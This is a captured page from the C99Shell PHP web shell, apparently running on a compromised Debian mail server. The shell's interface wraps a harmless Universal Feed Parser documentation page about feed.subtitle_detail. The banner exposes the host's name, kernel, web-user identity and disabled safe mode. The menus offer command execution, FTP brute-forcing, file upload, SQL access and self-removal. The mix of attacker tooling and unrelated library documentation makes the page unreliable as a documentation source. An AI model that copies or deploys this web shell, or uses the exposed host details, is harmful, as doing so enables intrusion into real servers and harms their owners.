!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.16 (Debian). PHP/5.3.3-7+squeeze19 

uname -a: Linux mail.tri-specialutilitydistrict.com 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC
2014 x86_64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/doc/python-feedparser/docs/   drwxr-xr-x
Free 129.63 GB of 142.11 GB (91.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     reference-feed-subtitle_detail.html (8.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
feed.subtitle_detail [Universal Feed Parser]

feed.subtitle_detail

A dictionary with details about the feed subtitle.

Comes from

  • /atom10:feed/atom10:subtitle
  • /atom03:feed/atom03:tagline
  • /rss/channel/description
  • /rss/channel/dc:description
  • /rss/channel/itunes:subtitle
  • /rdf:RDF/rdf:channel/rdf:description
  • /rdf:RDF/rdf:channel/dc:description

See also

feed.subtitle_detail.value

Same as feed.subtitle.

If this contains HTML or XHTML, it is sanitized by default.

If this contains HTML or XHTML, certain (X)HTML elements within this value may contain relative URIs. If so, they are resolved according to a set of rules.

feed.subtitle_detail.type

The content type of the feed subtitle.

Most likely values for type:

  • text/plain
  • text/html
  • application/xhtml+xml

For Atom feeds, the content type is taken from the type attribute, which defaults to text/plain if not specified. For RSS feeds, the content type is auto-determined by inspecting the content, and defaults to text/html. Note that this may cause silent data loss if the value contains plain text with angle brackets. There is nothing I can do about this problem; it is a limitation of RSS.

Future enhancement: some versions of RSS clearly specify that certain values default to text/plain, and Universal Feed Parser should respect this, but it doesn't yet.

feed.subtitle_detail.language

The language of the feed subtitle.

language is supposed to be a language code, as specified by RFC 3066, but publishers have been known to publish random values like “English” or “German”. Universal Feed Parser does not do any parsing or normalization of language codes.

language may come from the element's xml:lang attribute, or it may inherit from a parent element's xml:lang, or the Content-Language HTTP header. If the feed does not specify a language, language will be None, the Python null value.

feed.subtitle_detail.base

The original base URI for links within the feed subtitle.

base is only useful in rare situations and can usually be ignored. It is the original base URI for this value, as specified by the element's xml:base attribute, or a parent element's xml:base, or the appropriate HTTP header, or the URI of the feed. (See Relative Link Resolution for more details.) By the time you see it, Universal Feed Parser has already resolved relative links in all values where it makes sense to do so. Clients should never need to manually resolve relative links.



:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0082 ]--